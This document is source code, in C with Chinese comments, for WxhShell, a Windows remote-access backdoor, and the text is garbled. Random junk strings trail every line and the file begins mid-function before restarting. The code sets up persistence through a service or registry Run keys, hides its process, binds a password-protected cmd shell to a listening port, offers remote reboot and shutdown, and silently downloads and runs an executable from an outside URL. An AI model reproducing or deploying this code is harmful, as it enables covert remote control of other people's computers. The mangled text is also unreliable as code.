    closesocket(wsh); lT^su'+bk  
    ExitThread(0);  8s0+6{vW  
    } MEiP&=gX!  
    break; Xo34~V@(  
    } |`5 IP8Z  
  // 关机 ]dpL PR  
  case 'd': { ;Y?MbD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hJ@vlMW  
    if(Boot(SHUTDOWN)) a[-!X7,IU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); faDSyBLo  
    else { L (Y1ey9x  
    closesocket(wsh); ai{>rO3 }I  
    ExitThread(0); l#'V SFm&  
    } to'7o8Z  
    break; +3)r szb72  
    } 'r?ULft1  
  // 获取shell ~zqb{o^pT  
  case 's': { /,Xl8<~#  
    CmdShell(wsh); 7>JTQ CJ  
    closesocket(wsh); d~LoHp  
    ExitThread(0); ')y2W1  
    break; ]:|B).  
  } .,bpFcQ  
  // 退出 i})s4%a  
  case 'x': { }e?H(nZS7h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /<J(\;Jr6  
    CloseIt(wsh); .-KI,IU  
    break; )/T[Cnx.Nc  
    } pH1!6X  
  // 离开 D0D=;k   
  case 'q': { BzzC|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UlYFloZ  
    closesocket(wsh); @r TB&>`  
    WSACleanup(); b(Nv`'O  
    exit(1); mlnF,+s  
    break; I\~[GsDY  
        } s^wm2/Yw  
  } bn(N8MFCV  
  } [n2B6Px  
#S}orWj  
  // 提示信息 VI0wul~M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v ,8;: sD  
} <RGH+4LF  
  } sTM;l,  
T6U/}&{O  
  return; zJe KB8  
} oP&/>GmXL  
z5E%*]  
// shell模块句柄 (Rw<1q`,  
int CmdShell(SOCKET sock) s2; ~FK#/  
{ uoS:-v}/Y~  
STARTUPINFO si; G{U#9   
ZeroMemory(&si,sizeof(si)); IiU> VLa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XB)D".\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $|N6I  
PROCESS_INFORMATION ProcessInfo; {213/@,  
char cmdline[]="cmd"; NAGM3{\5v$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0a~t  
  return 0; 7o E0;'  
} 2}hJe+#v  
 G 3Z"U  
// 自身启动模式 C8U3+ s  
int StartFromService(void) T+kV~ w{  
{ fkA+:j~z_  
typedef struct @(t3<g  
{ =+zDE0Qs  
  DWORD ExitStatus; smP4KC"I(d  
  DWORD PebBaseAddress; *_(X$qfoW  
  DWORD AffinityMask; Nu5|tf9%A  
  DWORD BasePriority; iQ'*QbP'Z  
  ULONG UniqueProcessId; Qs6<(zaqkt  
  ULONG InheritedFromUniqueProcessId; ,2@o`R.27  
}   PROCESS_BASIC_INFORMATION;  :Sq] |)  
qE[S>/R"  
PROCNTQSIP NtQueryInformationProcess; 3JnpI,By  
|cvU2JI@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F2"fOS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DB'v7 Ij0  
st-{xC#N#  
  HANDLE             hProcess; 8Q'Emw |  
  PROCESS_BASIC_INFORMATION pbi; 3SVGx< ,2  
F-&tSU,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EL 5+pt  
  if(NULL == hInst ) return 0; J<$@X JLS  
ARH~dN*C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); akj<*,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a=z] tTs4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M(%H  
e &6%  
  if (!NtQueryInformationProcess) return 0; kK6O ZhLH  
E/;t6& 6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;tOs A #  
  if(!hProcess) return 0; ^_2c\mw_I  
H>~CL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |xO*!NR  
%yRXOt2(  
  CloseHandle(hProcess); "Xq_N4  
}w0pi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E&M(QX5  
if(hProcess==NULL) return 0; c;l!i-  
XiUq#84Q  
HMODULE hMod; UP~28%>X  
char procName[255]; w#A)B<Y/"  
unsigned long cbNeeded; [!'+}  
6Yu:v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &f*o rM:  
1"h"(dA  
  CloseHandle(hProcess); Jw)JV~/0  
q m3\) 9C  
if(strstr(procName,"services")) return 1; // 以服务启动 b1&tk~D  
fvu{(Tb  
  return 0; // 注册表启动 amBg<P`'_  
} !/FRL<mp  
7=^{~5#  
// 主模块 U3(+8}Q  
int StartWxhshell(LPSTR lpCmdLine) R9XU7_3B  
{ .u-a+ac<  
  SOCKET wsl; Kk3+ ]W<  
BOOL val=TRUE; p3s i\Fm!  
  int port=0; f ULt4  
  struct sockaddr_in door; '{&Q&3J_  
1`cH EAa  
  if(wscfg.ws_autoins) Install(); 2t= = <x  
Ge^`f<f  
port=atoi(lpCmdLine); H 4<"+7  
u`bD`kfT>  
if(port<=0) port=wscfg.ws_port; 'eM0i[E+`  
JEUU~L;  
  WSADATA data; 0TU3 _;o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 57\ 0MQO  
c=! >m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X8C7d6ca  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I)HO/i 6>3  
  door.sin_family = AF_INET; c-w #`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <BR^Dv07U  
  door.sin_port = htons(port); .. `I <2  
fzsy<Vl",  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9"~ FKMN  
closesocket(wsl); Z #[?~P  
return 1; a6{Zp{"Y  
} \"lz,bT  
I G1];vX  
  if(listen(wsl,2) == INVALID_SOCKET) { %rwvY`\  
closesocket(wsl); uwe#& V-  
return 1; F}; R  
} ;ALWL~Xm  
  Wxhshell(wsl); ddHl&+G  
  WSACleanup(); 7KC>?F  
3j7FG%\  
return 0; b8WtNVd  
'| 8 dt "C  
} <jh4P!\&j  
MN?aPpr>  
// 以NT服务方式启动 *`>BOl+ro  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;[<(4v$  
{ =oAS(7o  
DWORD   status = 0; /\mtCa.O  
  DWORD   specificError = 0xfffffff; zv]ZEWVzc  
A3]A5s6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <PLAAh8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xu$>$D# a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b:==:d:0s  
  serviceStatus.dwWin32ExitCode     = 0; z.Cj%N  
  serviceStatus.dwServiceSpecificExitCode = 0; o'2eSm0H  
  serviceStatus.dwCheckPoint       = 0; PK|-2R"M  
  serviceStatus.dwWaitHint       = 0; 35\ |#2qw6  
=p5DT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]#:WL)@  
  if (hServiceStatusHandle==0) return; mx Nd_{n  
h}O tz "  
status = GetLastError(); `/O`%6,f1!  
  if (status!=NO_ERROR) 6tKrR{3#A  
{ 3H2~?CaJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S<Dbv?  
    serviceStatus.dwCheckPoint       = 0; ;V,L_"/X  
    serviceStatus.dwWaitHint       = 0; eL3 _Lz  
    serviceStatus.dwWin32ExitCode     = status; M2Q,&>M   
    serviceStatus.dwServiceSpecificExitCode = specificError; :_e[xB=Yy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;aQ`` B  
    return; ;(C<gt,r}  
  } @*z"Hi>4  
KC;cu%H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,s8/6n#  
  serviceStatus.dwCheckPoint       = 0; +_GS@)L`%  
  serviceStatus.dwWaitHint       = 0; 3^8Cc(bk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4]o+)d.`(  
} Y'U1=w~E  
W!{RJWe  
// 处理NT服务事件,比如:启动、停止 D<WnPLA$g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :[0 R F^2}  
{ 5kGniG?T#  
switch(fdwControl) F0$w9p  
{ M(X _I`\E  
case SERVICE_CONTROL_STOP: wQ33Gc  
  serviceStatus.dwWin32ExitCode = 0; )qy?x7   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; bP18w0>,  
  serviceStatus.dwCheckPoint   = 0; ,`geOJn'  
  serviceStatus.dwWaitHint     = 0; s%)f<3=a  
  { ;Y7' U rn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H4g8 1V=  
  } ~[;r) g\  
  return; V}y]<  
case SERVICE_CONTROL_PAUSE: BH:A]#_{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (`(D $%  
  break; J[ZHAnmPH  
case SERVICE_CONTROL_CONTINUE: g p:0Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o=rR^Z$G   
  break; OZ&/&?!XE  
case SERVICE_CONTROL_INTERROGATE: ~$J ;yo~  
  break; u8-6s+ O  
}; c p"K?)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gUklP(T=u  
} $Q*R/MY  
,rMf;/[  
// 标准应用程序主函数 sVHF\{<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P< OH{l  
{ ,,Qg"C  
s= %3`3Fo  
// 获取操作系统版本 KqI:g*H'x7  
OsIsNt=GetOsVer(); oU\]#e^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rqe. =+Qs  
xfRp_;l+R  
  // 从命令行安装 ^KhJBM/Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); Pe<VPf9+  
wgFX')l:  
  // 下载执行文件 SkjG}  
if(wscfg.ws_downexe) { )7 5 7   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j_<qnBeQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); DTO_IP  
} Ohm{m^VD"  
| 6{JINW  
if(!OsIsNt) { {H)7K.hQN  
// 如果时win9x,隐藏进程并且设置为注册表启动 +[76_EXy  
HideProc(); ]IV{;{E)  
StartWxhshell(lpCmdLine); x}/jh  
} JSL&` `  
else }#ink4dK:  
  if(StartFromService()) 4R'CL N |t  
  // 以服务方式启动 1KZigeHXI  
  StartServiceCtrlDispatcher(DispatchTable); ?UsCSJ1V  
else #Z1%XCt  
  // 普通方式启动 z|pt)Xl  
  StartWxhshell(lpCmdLine); z/\OtYz  
"rB B&l  
return 0; T AG@Ab  
} wV )\M]@  
G_+/ e]P  
B_[efM<R$  
hO"!q;<eS  
=========================================== pS$9mzY  
z"f@iJX?2  
U'=8:&  
h$8h@2%  
3t-STk?  
&~*](Ma  
" (WHg B0{  
8H7#[?F  
#include <stdio.h> L\#YFf  
#include <string.h> >6S7#)0T  
#include <windows.h> eha|cAq  
#include <winsock2.h> +u|"q+p  
#include <winsvc.h> Ar<5UnT  
#include <urlmon.h> NtM>`5{?  
30v xOkS  
#pragma comment (lib, "Ws2_32.lib") ]N 9N][n  
#pragma comment (lib, "urlmon.lib") [H*JFKpx  
&g;!n&d zP  
#define MAX_USER   100 // 最大客户端连接数 v~ >Bbe  
#define BUF_SOCK   200 // sock buffer k2 Ju*W&  
#define KEY_BUFF   255 // 输入 buffer UF-&L:s[  
v~ SM"ky#  
#define REBOOT     0   // 重启 Lg<h54X  
#define SHUTDOWN   1   // 关机 # scZP  
4aArxJ  
#define DEF_PORT   5000 // 监听端口 lp(2"$nQ  
'~Y@HRVL@|  
#define REG_LEN     16   // 注册表键长度 _:[@zxT<x  
#define SVC_LEN     80   // NT服务名长度 xt|^~~ /  
-=5~h  
// 从dll定义API ].Yz =:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q8P&rMwy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D('.17  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7"!`<5o^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7<su8*?  
#G#gc`S-,  
// wxhshell配置信息 +&S 7l%-  
struct WSCFG { @ujwN([I  
  int ws_port;         // 监听端口 Nvd(?+c  
  char ws_passstr[REG_LEN]; // 口令 o8X_uKEI  
  int ws_autoins;       // 安装标记, 1=yes 0=no ht>%O7  
  char ws_regname[REG_LEN]; // 注册表键名 Q/g!h}>(.  
  char ws_svcname[REG_LEN]; // 服务名 @_kF&~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x3i}IC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lpXGsK H2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *47/BLys<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GQYR`;>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h^g0|p5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j&X&&=   
^=eC1 bQA  
}; y"yo\IDW  
1)k+v17]f5  
// default Wxhshell configuration m[eqTh4*  
struct WSCFG wscfg={DEF_PORT, !dT+cZsf  
    "xuhuanlingzhe", P4@`C{F5m  
    1, (tYZq86`  
    "Wxhshell", Z3JUYEAS  
    "Wxhshell", oMN<jAU.  
            "WxhShell Service", v#x`c_  
    "Wrsky Windows CmdShell Service", <8}FsRr;J  
    "Please Input Your Password: ", eN<L)a:J_  
  1, HQ@g6  
  "http://www.wrsky.com/wxhshell.exe", l/={aF7+  
  "Wxhshell.exe" D^4nT,&8  
    }; Oa/zE H  
VgVDTWs7  
// 消息定义模块 ~vA{I%z5~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !S=YM<Ad  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?# w} S%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ktrIi5B  
char *msg_ws_ext="\n\rExit."; Xr  <H^X  
char *msg_ws_end="\n\rQuit."; l_}d Q&R  
char *msg_ws_boot="\n\rReboot..."; |RL#BKC`  
char *msg_ws_poff="\n\rShutdown..."; t.8r~2(?  
char *msg_ws_down="\n\rSave to "; \96\!7$@O  
QdgJNT<=H,  
char *msg_ws_err="\n\rErr!"; ;mEn@@{  
char *msg_ws_ok="\n\rOK!"; O &<p 8  
b$klm6nMvm  
char ExeFile[MAX_PATH]; >OaD7  
int nUser = 0; !p+54w\ 2  
HANDLE handles[MAX_USER]; 4 -.W~C'Q  
int OsIsNt; WGz)-IB!PE  
zjA]Tr  
SERVICE_STATUS       serviceStatus; ]qqgEZ1!Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rnZ$Qk-H  
a qEZhMy  
// 函数声明 lQ?jdi  
int Install(void); Wu 0:X*>}p  
int Uninstall(void); _Gq6xv\b1  
int DownloadFile(char *sURL, SOCKET wsh); &B&8$X  
int Boot(int flag); b7>'ARdbzX  
void HideProc(void); r>(,)rs(l  
int GetOsVer(void); -Fd&rq:GB(  
int Wxhshell(SOCKET wsl); vS\2zwb}  
void TalkWithClient(void *cs); yD~,+}0)  
int CmdShell(SOCKET sock); $6Q^u r:  
int StartFromService(void); mcQL>7ts  
int StartWxhshell(LPSTR lpCmdLine); VaD+:b4  
_CHzwNU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AtJ{d^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qS\#MMsTd  
kL1<H%1'  
// 数据结构和表定义 ?5EH/yV;  
SERVICE_TABLE_ENTRY DispatchTable[] = =|-= 4.b+|  
{ l^&#9d  
{wscfg.ws_svcname, NTServiceMain}, ;(?tlFc  
{NULL, NULL} Dsm1@/"i|7  
}; ] :;x,$k  
67iI wY*8'  
// 自我安装 !Q[v"6?  
int Install(void) y2I7Zd .  
{ 5csh8i'V  
  char svExeFile[MAX_PATH]; 14 & KE3`  
  HKEY key; ^i%S}VK  
  strcpy(svExeFile,ExeFile); (|BY<Ac3  
Ip'tB4Mq  
// 如果是win9x系统,修改注册表设为自启动 ]i#p2?BR  
if(!OsIsNt) { h&i*=&<HP6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nx'c=gp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O=3/ qs6m  
  RegCloseKey(key); \I!mzo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JVu j u$k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nmU1xv_  
  RegCloseKey(key); XX/gS=NE#.  
  return 0; \Sd8PGl*'  
    } H<Sf0>OA  
  } % [$HX'Y  
} 7,SQz6]  
else { gNEcE9y 2  
{K.H09Y  
// 如果是NT以上系统,安装为系统服务 yus3GqPI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a6LL]_&g  
if (schSCManager!=0) n- 2X?<_Z  
{ lfj5?y  
  SC_HANDLE schService = CreateService OL 0YjU@  
  ( fF)Q;~_VA  
  schSCManager, 8vVE  
  wscfg.ws_svcname, q2X::Yqk  
  wscfg.ws_svcdisp, AfA"QCyO  
  SERVICE_ALL_ACCESS, $/M-@3wro  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U:TkO=/>:  
  SERVICE_AUTO_START, {T-\BTh&Q  
  SERVICE_ERROR_NORMAL, -US:a8`  
  svExeFile, zz*PAYl.  
  NULL, [8 Pt$5]^  
  NULL, `r}_92Tt  
  NULL, fc+-/!v  
  NULL, <;Hb7p3N  
  NULL zhw*Bed<  
  ); B!/kC)bF:  
  if (schService!=0) A5Hx $.Z  
  { 6nk }k]Ji  
  CloseServiceHandle(schService); RU ~na/3  
  CloseServiceHandle(schSCManager); E /H%q|q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K}CgFBk  
  strcat(svExeFile,wscfg.ws_svcname); ? uYO]!VC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;NA5G:eQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NwF"Zh5eMW  
  RegCloseKey(key); Be|! S_Y P  
  return 0; 6RbDc *  
    } Qbv@}[f  
  } 9F807G\4Qt  
  CloseServiceHandle(schSCManager); 4fKvB@O@.  
} 9;L4\  
} 3wv@wqx  
rL-R-;Ca  
return 1; @SD XJJ h  
} H=BI%Z  
dCoP qKy  
// 自我卸载 9Rk(q4.OP  
int Uninstall(void) >.qFhO\1so  
{ ytY\&m  
  HKEY key; 'mZ v5?  
X]y8-}Qf  
if(!OsIsNt) { 7 {92_xRL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z)|~  
  RegDeleteValue(key,wscfg.ws_regname); aLg,-@  
  RegCloseKey(key); \s#~ %l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kx(beaf  
  RegDeleteValue(key,wscfg.ws_regname); 1;/SXJ s  
  RegCloseKey(key); vNw(hT5750  
  return 0; 7"Xy8]i{z  
  } zn>lF  
} )(]rUJ~+~A  
} <Z-Pc?F&(k  
else { \) dp  
oSrA4g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,?yjsJd.  
if (schSCManager!=0) f4p*!e  
{ b*Qd9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0hoMf=bb$  
  if (schService!=0) d`= ~8`  
  { sGY}(9ED;  
  if(DeleteService(schService)!=0) { C)U4Fr ?E:  
  CloseServiceHandle(schService); Tg^8a,Lt  
  CloseServiceHandle(schSCManager); K.yc[z)un  
  return 0; -Hm"Dx  
  } 2-'_Nwkl*  
  CloseServiceHandle(schService); >IS4  
  } _-vlN  
  CloseServiceHandle(schSCManager); 6{5T^^x?<  
} 'yCVB&`b  
} FC+-|1?C  
%/3+:}@G  
return 1; >c0leT  
} O + aK#eF  
qVh?%c1.Y  
// 从指定url下载文件 MX]#|hEeQ  
int DownloadFile(char *sURL, SOCKET wsh) 7D<Aa?cv_l  
{ "=Z=SJ1D  
  HRESULT hr; h~Ir= JV  
char seps[]= "/"; <*J"6x  
char *token; @rT$}O1?`  
char *file; F2zo !a8  
char myURL[MAX_PATH]; `mcb0  
char myFILE[MAX_PATH]; Ei:m@}g  
nN&dtjoF  
strcpy(myURL,sURL); WblH}  
  token=strtok(myURL,seps); QyA^9@iVs  
  while(token!=NULL) #Tc`W_-  
  { Mc c%&j  
    file=token; 0 @#Jz#?  
  token=strtok(NULL,seps); oPs asa  
  } B4un6-<i  
2`Bb9&ut>  
GetCurrentDirectory(MAX_PATH,myFILE); ,$!fyi[;C  
strcat(myFILE, "\\"); =A5i84y.2u  
strcat(myFILE, file); #^RIp>NN9  
  send(wsh,myFILE,strlen(myFILE),0); $z OV*O2  
send(wsh,"...",3,0); N=u( 3So  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qf K gNZ  
  if(hr==S_OK) dUB;ZB7  
return 0; =eY  
else +ase>'<N#  
return 1; p*W{*wZ_^  
Jhj ]`$J  
} n5"i'o{w  
JVg}XwR  
// 系统电源模块 #.u &2eyqQ  
int Boot(int flag) {KSLB8gtL  
{ $~q{MX&J  
  HANDLE hToken; 6DHZ,gWq  
  TOKEN_PRIVILEGES tkp; 1g=T"O&=  
5q4wREh  
  if(OsIsNt) { +9LzDH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j(I(0Yyh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G-D}J2r=F  
    tkp.PrivilegeCount = 1; Ox ,Rk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [.l,#-vp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y|mtQ E?c  
if(flag==REBOOT) { A]iT uu5p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kK6t|Yn&  
  return 0; elM<S3  
} UHV"<9tk  
else { dgQ<>+9]6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @RB^m(> 5  
  return 0; !gyW15z'  
} L7lpOy4k  
  } qCVb-f  
  else { w:I!{iX  
if(flag==REBOOT) { _$A?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VSO(DCr"L  
  return 0; ,V!Wo4M  
} F+5 5p8  
else { d?5oJ'JU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2 .Xx)(>  
  return 0; ;|\j][A  
} PQi(Oc  
} V,Bol(wY  
a-#$T)mmfj  
return 1; L   
} dM}c-=w`  
u=PLjrB~}  
// win9x进程隐藏模块 8fQfu'LyjY  
void HideProc(void) >`WQxkpy  
{ - ]/=WAOK  
Wt5pK[JV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z1$ S(p=)L  
  if ( hKernel != NULL ) 2ETv H~23  
  { MYJMZ3qBi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1e9~):C~W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KWYjN h#*  
    FreeLibrary(hKernel); 3it*l-i\  
  } ,y0 &E8Z  
q(46v`u  
return; D @wIbU  
} %Ze7d&  
WOgkv(5KN  
// 获取操作系统版本 Nj?Q{ztS  
int GetOsVer(void) E i2M~/  
{ Q4Wz5n1yp7  
  OSVERSIONINFO winfo; sWTa;Qi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VeEa17g&  
  GetVersionEx(&winfo); ) C\/(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )`<&~>qp  
  return 1; `p)U6J  
  else 25 U+L  
  return 0; =^zGn+@z  
} T#e|{ZCbq  
N3Q .4? z9  
// 客户端句柄模块 Z>/ *q2  
int Wxhshell(SOCKET wsl) W3('1  
{ ]T40VGJ:h  
  SOCKET wsh; o*~=NoR  
  struct sockaddr_in client; O<AGAD  
  DWORD myID; <v\$r2C*  
r_8;aPL  
  while(nUser<MAX_USER) r~|7paX!  
{ ifl LY7j  
  int nSize=sizeof(client); d BM{]@bZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \,m*CYs`  
  if(wsh==INVALID_SOCKET) return 1; hZ|0<u  
+s7w@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jMX+uYx M  
if(handles[nUser]==0) ',D%,N}J  
  closesocket(wsh); >,Zn~8&Z  
else @5 ??`n  
  nUser++; @I&k|\  
  } qm9=Ga5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D#,A_GA{A  
`PLax@]2  
  return 0; 8B "^}y\0  
} &\ad.O/Q  
U.Z5;E0:  
// 关闭 socket Aj/EaIq  
void CloseIt(SOCKET wsh) ;B }4pv}  
{ wrJ" (:VZ  
closesocket(wsh); ?{L'd  
nUser--; 2h@&yW2j  
ExitThread(0); ww+,GnV  
} /nh3/[u  
EKuLt*a/  
// 客户端请求句柄 #<V5sgq S  
void TalkWithClient(void *cs) =|fB":vk  
{ 6B b+f"  
SpIiMu(  
  SOCKET wsh=(SOCKET)cs; |g !$TUS.  
  char pwd[SVC_LEN]; FLG{1dS  
  char cmd[KEY_BUFF]; T' Jl,)"  
char chr[1]; =RM]/O9  
int i,j; IQ$6}.  
|~v2~   
  while (nUser < MAX_USER) { ]X X>h~0  
m}beT~FT_  
if(wscfg.ws_passstr) { ^mut-@ N9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !F Zg' 9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C0^r]^$Z  
  //ZeroMemory(pwd,KEY_BUFF); R%9,.g <  
      i=0; w%oa={x  
  while(i<SVC_LEN) { n b*`GE  
tp"eXA0n  
  // 设置超时 eT2Tg5Etc  
  fd_set FdRead; #op0|:/N  
  struct timeval TimeOut; ?5% o-hB|  
  FD_ZERO(&FdRead); m,5?|J=  
  FD_SET(wsh,&FdRead); lG[j,MDs  
  TimeOut.tv_sec=8; qJ~fEX  
  TimeOut.tv_usec=0; Da)_OJYE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); puh-\Q/P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !@arPN$  
tu ;Pm4q7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pUu<0a^  
  pwd=chr[0]; jnM}N:v  
  if(chr[0]==0xd || chr[0]==0xa) { LXth-j=]  
  pwd=0; Zx: h)I  
  break; j(>xP*il  
  } xbCQ^W2YU|  
  i++; ^8dCFw.rU  
    } ]1[:fQF7/L  
V8pZr+AJ  
  // 如果是非法用户,关闭 socket MlbcJo3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z(LTHAbBk|  
} /* "pylm  
4l> d^L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \lwLVe  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $:A80(#+  
7e#|Iq:o  
while(1) { C/9]TkX}q  
CZ{7?:^f  
  ZeroMemory(cmd,KEY_BUFF); 3m&  
{DUtdu[  
      // 自动支持客户端 telnet标准   u&o$2 '8  
  j=0; [;~"ctf{  
  while(j<KEY_BUFF) { nuA 0%K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F]0 qt$GO  
  cmd[j]=chr[0]; o?IrDQ2gmh  
  if(chr[0]==0xa || chr[0]==0xd) { .Ep&O#  
  cmd[j]=0; E},zB*5TH  
  break; ]9W7]$  
  } 5-&"nn2*}1  
  j++; b0x%#trA{  
    } R. vVl+  
PY+4OZ$  
